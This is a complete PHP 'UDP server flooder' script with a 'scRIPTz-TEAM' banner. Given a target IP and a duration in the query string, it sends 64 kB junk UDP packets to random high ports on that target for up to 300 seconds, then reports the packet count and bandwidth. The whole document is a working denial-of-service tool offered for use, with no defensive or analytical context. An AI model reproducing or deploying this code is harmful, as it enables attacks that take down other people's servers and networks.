[PHP] UDP SERVER FLOODER

<?php
/*   _____ _____ _ _____ _____         _____ _____ _____ _____
 ___|     | __  |_|  _  |_   _|___ ___|_   _|   __|  _  |     |
|_ -|   --|    -| |   __| | | |- _|___| | | |   __|     | | | |
|___|_____|__|__|_|__|    |_| |___|     |_| |_____|__|__|_|_|_|
|s C R i P T z - T E A M . i N F O|----------------------------

UDP SERVER FLOODER

USAGE:
index.php?server_ip=SERVER_IP&time=20
*/
$max_time    = 300;
$packet_size = 64; //packet size in kB, 64 is a good value


if (isset($_GET['server_ip'])) {
    $server_ip = null;
    $time = null;

    if (isset($_GET['server_ip'])) {
        $server_ip = $_GET['server_ip'];
        $time = intval($_GET['time']);
    } else {
        $server_ip = $_POST['server_ip'];
        $time = intval($_POST['time']);
    }

    if ($time > $max_time)
        $time = $max_time;

    $packets = 0;
    ignore_user_abort(true);
    set_time_limit(0);

    $abort_time = time() + $time;
    $content    = str_repeat("~w00tw00t~", 32 * $packet_size); //32 bytes * 32 => 1024 => 1kb * packetsize

    while (time() < $abort_time) {
        $port = rand(65500, 65534) + 1;

        $sock = fsockopen('udp://' . $server_ip, $port, $nErr, $sErr, 3);
        if ($sock) {
            fwrite($sock, $content);
            fclose($sock);
        }

        $packets++;
    }

    echo "  <h1>Flooding completed!</h1><br/>\n  <h3>Statistics:</h3>\n  <h4>Packets: " . $packets . "</h4>\n  <h4>Total MB: " . round(($packets * $packet_size) / 1024, 2) . "</h4>\n  <h4>Bandwidth: " . round(($packets * $packet_size) / $time) . "kB/s</h4>";

}
?>